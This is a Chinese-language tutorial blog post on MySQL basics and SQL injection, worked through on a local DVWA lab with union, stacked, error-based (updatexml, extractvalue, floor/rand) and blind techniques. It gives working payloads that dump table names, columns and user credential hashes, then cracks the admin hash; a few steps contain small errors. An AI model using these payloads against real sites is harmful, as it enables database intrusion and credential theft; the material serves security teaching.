Y1ng师傅讲解的sql注入笔记

Mysql基础

数据库基础知识

数据库,就是用来存放数据的仓库

11.3 SQL注入入门

RDBMS 指关系型数据库管理系统。RDBMS 中的数据 存储在被称为数据库对象中。表是相关的数据项 的集合,它由列和行组成。

库 ——> 表 ——> 列 ——> 行

数据库类似于文件夹
Excel表格

以下为mysql的数据库的图形化连接界面:

Y1ng师傅讲解的sql注入笔记插图

类比文件夹和Excel的对应关系就是:

Y1ng师傅讲解的sql注入笔记插图1

sql是用于访问和数据库的标准计算机语言。SQL (Structured Query Language:结构化查询语言) 是用于管理关系数据库管理系统(RDBMS)。SQL的范围包括插入、查询、更新和删除,数据库模式创建和修改,以及数据的访问控制。

数据库的应用场景:最用的就是登录界面了,当我们输入用户名和密码,服务器会在数据库中对应的用户名列和密码等列进行校验。如果登录校验成功,则登录成功。

常用的数据库操作命令:

01. 显示数据库  show databases;
02. 进入到某某数据库  use db_name;
03. 显示数据库下的所有表 show tables;
04. 显示某某表结构  desc(ribe) table_name;
05. 显示表中各字段信息(与desc结果一致) show columns from table_name;
06. 显示表的创建过程  show create table table_name;
07. 列出当前数据库的状态  status
08. 删除某个数据库  drop database db_name;
09. 清空某个数据表  delete from table_name;
10. 删除某个数据表  drop table table_name;
11. 显示当前登录的用户  select user(); 或 select current_user;
12. 显示当前的mysql版本  select version();
13. 显示当前选中的数据库  select database();
14. 数据库存放路径 select @@datadir;
15. 显示数据库服务器操作系统版本 select @@version_compile_os;
16. 数据库连接   mysql -uroot -proot 
17. 退出数据库的连接  exit 或 quit

什么是sql注入?

SQL注入是一种将SQL代码插入或添加到应用的输入参数中的攻击,之后再将这些参数 传递给后台的SQL服务加以解析并执行。

凡是构造SQL语句的步骤均存在被潜在攻击的风险。SQL注入的主要方式是直接将代码 插入参数中,这些参数会被置入SQL命令中加以执行

攻击者把SQL命令语句作为输入被服务器SQL解释器正确解析执行,数据库把查询到的 结果返回给服务器,然后呈现给攻击者,攻击者由此获得数据库内的数据信息

SQL注入产生的条件:用户控制了SQL语句的一部分用户的输入不再是一个输入参数, 而成为了符合语法的SQL语句。

sql注入的类型?

按回显方式的划分:

  • 有回显
    • 联合查询 ——> 构造联合查询语句,直接查看查询结果
    • 报错注入 ——> 构造特定的报错语句,在报错信息中查看查询结果
    • 堆(叠)注入 ——> 多行语句同时执行,进而实现想要达到的目的
  • 无回显
    • 盲注 ——> 布尔/时间盲注,通过 某种手段”爆破”(猜解)结果

搭建DVWA靶场环境

本次实验环境需要使用docker软件,当然有条件的同学,可以自行使用源码安装。

dvwa源码点击我下载

基于docker环境安装:

# 依次执行如下命令
docker pull infoslack/dvwa  
docker run –d –p 2333:80 infoslack/dvwa

# 浏览器访问如下地址:
127.0.0.1:2333

# 账号和密码  admin password

进入到靶场环境后,先创建数据库,之后在左侧选项卡中点击DVWA Security 选择 Low 点击submit

Y1ng师傅讲解的sql注入笔记插图2

联合查询注入的利用

之后我们点击左侧的SQL Injection 进入到sql查询的界面。

界面如下:

Y1ng师傅讲解的sql注入笔记插图3

下面我们来看一下,存在漏洞的源码:

Y1ng师傅讲解的sql注入笔记插图4

可以看到,将用户传入的id参数的值,不经过任何过滤就带入到了数据库的查询。并且将最后查询的结果输出到了页面当中,因为没有对用户的传入的值进行任何的过滤,所以造成了sql注入。

那么我们该如何利用呢?

正常情况下,当我们传入1的时候,此时的sql语句就为

SELECT first_name, last_name FROM users WHERE user_id = 1;

带入到mysql中查询就为:

Y1ng师傅讲解的sql注入笔记插图5

在页面中的返回结果为:

Y1ng师傅讲解的sql注入笔记插图6

查询条件为真,因为数据库中,user表下有id = 1的那行数据。所以查询条件为真,就在页面输出了查询结果。

接下来,我们判断是否存在注入。并且判断出是存在字符型注入还是数字型。

在输入框中传入如下值:

1' and '1' = '2' # 

那么,构成的sql查询语句就为:

SELECT first_name, last_name FROM users WHERE user_id = ' 1' and '1' = '2';

在mysql中执行查询查询结果为:

Y1ng师傅讲解的sql注入笔记插图7

在sql的查询结果为空,因为 1 不等于 2,而 and 需要两边的条件表达式都为真,最后的结果才为真。

SELECT first_name, last_name FROM users WHERE user_id = '1' 的查询结果虽然为真,但是 and 后的表达式结果为假,所以最后的结果为假。因此没有查询出来任何数据。

接下来尝试键入如下:

1' and '1' = '1 

发现返回了查询结果,并且查询不为空

Y1ng师傅讲解的sql注入笔记插图8

那么我们就可以得知,这是一个字符型的注入。可以使用单引号闭合。

继续构造sql语句

1' or '1' = '1 

那么传入到后端拼接成完整地sql语句就为:

Y1ng师傅讲解的sql注入笔记插图9

最后在页面输出的结果:

Y1ng师傅讲解的sql注入笔记插图10

可以发现,这样就把当前表的所有查询结果返回到了页面当中。

union联合查询语句的使用

union我们称之为联合查询,它可以同时执行两个select语句,并且返回结果。

但是union的后者select查询查询的列,要与前者select查询的列要一致,不然会报错。

Y1ng师傅讲解的sql注入笔记插图11

前者select查询了first_namelast_name两列,所以我们后者的select语句也要查询两个列。不然会报The used SELECT statements have a different number of columns错误。

所以,我们再进行联合查询注入之前,我们需要确定该sql查询语句,查询了几列。

因此我们可以使用order去判断。

order by的使用

order by关键词可以指定以哪一列去排序。

Y1ng师傅讲解的sql注入笔记插图12

当某一列不存在的时候,则会报未知的列错误。那么我们就可以得出该表有三列。

猜解sql语句的字段数

由于union语句需要前者和后者的select查询列要一致,所以我们要确定sql查询中查询了几列。

那么我们就可以使用order by 关键字去查询,该sql查询查询了几列。

构造语句:

1' order by 1 # 

经过拼接之后,得到的sql语句为:

Y1ng师傅讲解的sql注入笔记插图13

在sql语句执行后的返回结果:

Y1ng师傅讲解的sql注入笔记插图14

#在SQL语言中,表示单行注释的意思。#后面的内容都会被注释掉。sql解析的时候,会忽略被注释的内容。

可以看到sql语句得以执行。我们接下来看一下界面的返回结果:

Y1ng师傅讲解的sql注入笔记插图15

发现有返回结果,那么我们可以得知,当前的查询是有1列的。

接着继续构造语句判断,判断是否存在2列:

1' order by 2 # 
Y1ng师傅讲解的sql注入笔记插图16

通过结果可以得知,当前的sql查询中,是有2列的。

接着继续构造语句,判断是否存在3列。

1' order by 2 # 
Y1ng师傅讲解的sql注入笔记插图17

发现页面直接报错。可以判断当前sql查询的列数就为2列。

知道了该sql查询的列数后,我们就可以使用union语句啦。

union联合查询获取数据

构造sql语句:

1'  union select 1,2 # 

经过拼接之后得到的sql语句:

Y1ng师傅讲解的sql注入笔记插图18

后续我们就不再记录经过拼接之后得到的sql语句啦。我们直接看页面返回结果。

页面返回:

Y1ng师傅讲解的sql注入笔记插图19

可以发现,页面返回了1和2。证明我们的查询被成功执行。

获取数据库的版本和库名

再次尝试构造语句:

1'  union select version(),database() # 

页面返回:

Y1ng师傅讲解的sql注入笔记插图20

可以发现,当前的数据库版本为5.7.34,而使用的数据库则为dvwa。他们分别由version()和database()函数查询得出。

获取所有数据库名称

构造语句:

1' union select 1,group_concat(schema_name) from information_schema.schemata #

页面返回结果:

Y1ng师傅讲解的sql注入笔记插图21

可以看到,页面返回了所有的数据库名称。比如information_schema、challenges、dvwa、mysql等等。

这里给大家推荐个插件:HackBar。chrome浏览器在Google应用商店下载。而Firefox则使用Firefox的插件搜索HackBar V2下载。

我们直接在表单输入框中输入#号,会被浏览器自动进行url编码得到%23,所以我们只要输入#即可。但是我们如果使用HackBar插件的时候,是不会进行自动编码的。所以对于GET请求,我们需要手动输入%23表示 #

总之:HackBar提交的数据,使用%23代替 # 号。而表单输入的则直接使用 # 即可。这是对于GET请求的

那么group_concat()是什么呢?

Y1ng师傅讲解的sql注入笔记插图22

group_concat()可以将多个列的查询结果,返回到一行当中。可以看到他们两者的不同,没有使用group_concat()的时候,他们返回了5行数据,而我们使用group_concat()之后,则将所有的数据,都放到一行了。并且中间使用十六进制0x7e做间隔。0x7e转为字符则为 ~。

类似于group_concat()的还有concat()以及concat_ws()。这里不再赘述。

而information_schema这个数据库保存了所有数据库中的数据库名、数据表名、字段名等等。可以自行网上搜索。这里只附上y1ng师傅的PPT截图吧

Y1ng师傅讲解的sql注入笔记插图23

获取当前数据库的所有表

构造语句:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

页面返回结果:

Y1ng师傅讲解的sql注入笔记插图24

可以发现,当前数据库下有两张表,分别是guestbookusers

与我们dvwa数据库下的表是一致的

Y1ng师傅讲解的sql注入笔记插图25

获取表中的字段名

构造语句:

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' ​#

页面的返回结果:

Y1ng师傅讲解的sql注入笔记插图26

可以发现,页面返回了 user_id,first_name,last_name,user,password等等。

那么我们知道了列名之后,就可以获取数据啦。

获取数据

1' union select 1,group_concat(user,0x7e,password) from users #

页面返回结果:

Y1ng师傅讲解的sql注入笔记插图27

可以看到,页面返回了我们查询的用户名和密码,并且用户名和密码之间使用0x7e即~间隔。

堆注入

在mysql中,我们可以使用;号来分割开每个sql语句,可以将其多个sql语句写在同一行中,多个语句使用;号进行间隔。

堆叠注入和联合查询注入是有很大区别的,联合查询注入只能执行查询语句。而堆叠注入则可以执行任意数据。

包括但不限于同时执行select语句。

mysql> select version();select user();
+-----------+
| version() |
+-----------+
| 5.7.34    |
+-----------+
1 row in set (0.00 sec)

+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

mysql>

可以看到,两个sql查询都得以执行。但是这个在实战过程中是有着很大局限性的。基本上用不到,但是可能会在CTF题目中出现。

盲注

盲注分为布尔盲注和时间盲注,布尔盲注则是根据回显的不同来判断查询的真与假,而时间盲注则是根据响应的时间来判断查询的真与假。

布尔盲注状态不同例如:

1、回显不同(内容、长度)

2、HTTP响应码不同(200、500)

3、HTTP响应头变化(重定向、设置Cookie)

4、基于错误的布尔注入(Mysql是否报错)

初识盲注

报错注入获取数据

报错注入一般在没法使用union联合注入的时候,且页面有sql的报错提示。但是前提还是不能过滤一些关键的函数。

报错注入就是我们人为的构造一些错误,并将我们的查询结果返回在报错信息中。

借用以下y1ng师傅的PPT,了解一下什么是XML和XPATH

Y1ng师傅讲解的sql注入笔记插图28

XML大概就是一种可扩展的标记语言,和HTML差不多。只不过XML可以自定义标签。

updatexml()函数用法

函数语法:updatexml(XML_document, XPath_string, new_value);

通用版本:5.1.5版本以上

我们一般在XPath_string这里指定我们的sql查询语句。updatexml是由于参数的格式不正确而产生的错误,同样也会返回参数的信息。

例如:select updatexml(1,concat(0x7e,(select user()),0x7e),1);

Y1ng师傅讲解的sql注入笔记插图29

可以看到,在页面的报错信息中,就返回了我们的select user()的查询结果。

一般这个写法都是固定的,只有select user()是我们需要改变的。

updatexml()报错获取数据

构造Payload:

1' or updatexml(1,concat(0x7e,(select version()),0x7e),1) #

经过后端之后,带入到mysql执行的语句为:

SELECT first_name, last_name FROM users WHERE user_id = '1' or updatexml(1,concat(0x7e,(select version()),0x7e),1) #';
Y1ng师傅讲解的sql注入笔记插图30

在页面执行后就得到:

Y1ng师傅讲解的sql注入笔记插图31

可以发现,页面返回了当前数据库的版本号即5.7.34

后续我们就通过updatexml()报错获取数据啦。查询语句与union类似。

获取当前数据库的所有表

构造Payload:

1' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #

页面返回:

Y1ng师傅讲解的sql注入笔记插图32
获取user表的字段名

构造Payload:

1' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1),0x7e)#

页面返回结果:

Y1ng师傅讲解的sql注入笔记插图33

updatexml()返回的长度只能是32。所以到32以后的就不会返回了。那么我们需要配合substr()函数,获取所有数据。

substr()函数是用来截取某个内容的一部分。

substr()函数有三个参数,分别是substr(str,pos,len)

mysql>
mysql> select substr('helloword',1);   # 不指定截取的长度默认从头截到尾
+-----------------------+
| substr('helloword',1) |
+-----------------------+
| helloword             |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr('helloword',1,5);  # 指定截取的长度则从1开始截取到5。则结果为hello
+-------------------------+
| substr('helloword',1,5) |
+-------------------------+
| hello                   |
+-------------------------+
1 row in set (0.00 sec)

mysql> select substr('helloword',1,2);  # 指定截取的长度则从1开始截取到2。则结果为he
+-------------------------+
| substr('helloword',1,2) |
+-------------------------+
| he                      |
+-------------------------+
1 row in set (0.00 sec)

mysql>

那么了解了substr()函数的使用之后,我们就可以通过截取,来完整地获取某个列的所有字段内容了。

构造Payload:

1' or updatexml(1,concat(0x7e,(select substr(group_concat(column_name),1,32) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)#

可以发现,我们将group_concat(column_name)返回的结果,经过substr()的截取,则是从1截取到32。因为updatexml()函数最大的返回长度就是32位。所以我们从1截取到32。

得出如下结果:

Y1ng师傅讲解的sql注入笔记插图34

可以发现,这个结果很显然是不完整的。那么我们如果想要获取32位后面的内容我们该如何去做?就需要使用substr()函数的截取的起始位置和截取长度了。

前面我们获取了1到32位的数据,那么继续构造Payload获取32到64之间的数据:

1' or updatexml(1,concat(0x7e,(select substr(group_concat(column_name),32,64) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)#
Y1ng师傅讲解的sql注入笔记插图35

再次构造Payload获取64到96之间的数据

1' or updatexml(1,concat(0x7e,(select substr(group_concat(column_name),64,96) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)#
Y1ng师傅讲解的sql注入笔记插图36

如果数据被获取完之后,应该是会以~结尾,因为我的concat()函数中的0x7e,至此我们就获取了users表中的所有字段名。

经过拼接之后得到:

user_id,first_name,last_name,user,password,avatar,last_login,filed_login

登录数据库查看users表的字段,发现与我们获取的一致。

Y1ng师傅讲解的sql注入笔记插图37
获取表内容

接下来我们就获取users表中的内容:

1' or updatexml(1,concat(0x7e,(select group_concat(user,0x7e,password,0x7e) from dvwa.users),0x7e),1)#
Y1ng师傅讲解的sql注入笔记插图38

同样是没有获取完整,那么我们继续使用substr()函数截取即可。

1' or updatexml(1,concat(0x7e,(select substr(group_concat(user,0x7e,password,0x7e),32,64) from dvwa.users),0x7e),1)#
Y1ng师傅讲解的sql注入笔记插图39

最终得到:

~admin~5f4dcc3b5aa765d61d8327deb882cf99

经过cmd5解密之后得到用户名为admin密码为password

Y1ng师傅讲解的sql注入笔记插图40

extractvalue()使用

updatexml是修改的。而evtractvalue是查询的。extractvalue()的使用与updatexml()的使用方法基本一致。同updatexml()一致,限制返回的长度都是32位。只不过updatexml()的参数是三个,而extratvalue()的参数是两个。

mysql> select extractvalue('test',concat(0x7e,(select version()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.34~'
mysql>
mysql>
mysql> select extractvalue('test',concat(0x7e,(select user()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
mysql>

extractvalue()获取数据

构造Payload:

1' or extractvalue(1,concat(0x7e,(select version())))#

执行之后得到如下:

Y1ng师傅讲解的sql注入笔记插图41

这里我们直接获取users表的userpassword列的数据:

构造Payload:

1' or extractvalue(1,concat(0x7e,(select group_concat(user,password) from dvwa.users)))#

返回结果:

Y1ng师傅讲解的sql注入笔记插图42

通过结果可以发现,返回的长度是32位。所以我们继续使用substr()获取其余的数据

1' or extractvalue(1,concat(0x7e,(select substr(group_concat(user,password),32,64) from dvwa.users)))#
Y1ng师傅讲解的sql注入笔记插图43

主键重复报错介绍

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by 语句出错。

rand()函数

随机生成0-1之间的随机数

mysql> select rand(),rand(),rand();
+---------------------+--------------------+---------------------+
| rand()              | rand()             | rand()              |
+---------------------+--------------------+---------------------+
| 0.24438536841830738 | 0.5930099064419139 | 0.23189345768829198 |
+---------------------+--------------------+---------------------+
1 row in set (0.00 sec)

mysql>

floor()函数

对任意的正或负的十进制数进行向下取整。

mysql> select floor(99),floor(110.99),floor(87.43444),floor(-100.1),floor(-100.99);
+-----------+---------------+-----------------+---------------+----------------+
| floor(99) | floor(110.99) | floor(87.43444) | floor(-100.1) | floor(-100.99) |
+-----------+---------------+-----------------+---------------+----------------+
|        99 |           110 |              87 |          -101 |           -101 |
+-----------+---------------+-----------------+---------------+----------------+
1 row in set (0.00 sec)

mysql>

一般情况下利用这两个函数的方法是floor(rand(0))*2,其中会返回0或者1(但是我这里试了一下,只返回了0)。

mysql> select floor(rand(0))*2;
+------------------+
| floor(rand(0))*2 |
+------------------+
|                0 |
+------------------+
1 row in set (0.00 sec)

mysql> select floor(rand(0))*2;
+------------------+
| floor(rand(0))*2 |
+------------------+
|                0 |
+------------------+
1 row in set (0.00 sec)

mysql>

group by 语句

根据一个或多个列对结果集进行分组。

具体的可以参考https://www.w3school.com.cn/sql/sql_groupby.asp

语法:

SELECT column_name, aggregate_function(column_name)
FROM table_name
WHERE column_name operator value
GROUP BY column_name

主键重复报错注入

常见的payload有:

union select 1 from (select count(*),concat((slelect 语句),floor(rand(0)*2))x from "一个足够大的表" group by x)a --+

不过这个一般需要配合联合查询语句才可以。

示例:

1' union select 1,2 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a #
Y1ng师傅讲解的sql注入笔记插图44

获取users表中的列名:

1' union select 1,2 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x)a #
Y1ng师傅讲解的sql注入笔记插图45

group_concat()的返回长度默认限制在1024个字符。超过则会自动截断。但是我们主键重复报错注入的时候,返回的长度为64。所以我们仍需要配合substr()进行完整地数据获取。

1' union select 1,2 from (select count(*),concat((select substr(group_concat(column_name),64,108) from information_schema.columns where table_schema=database() and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x)a #
Y1ng师傅讲解的sql注入笔记插图46

更多关于报错注入的知识请参考:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

本文作者: x1ong
免责声明:本博客所有文章仅用于学习交流
转载声明:文章为作者原创文章 转载请注明来源
本文链接: https://www.giaoblog.com/web/18473.html
上一篇
下一篇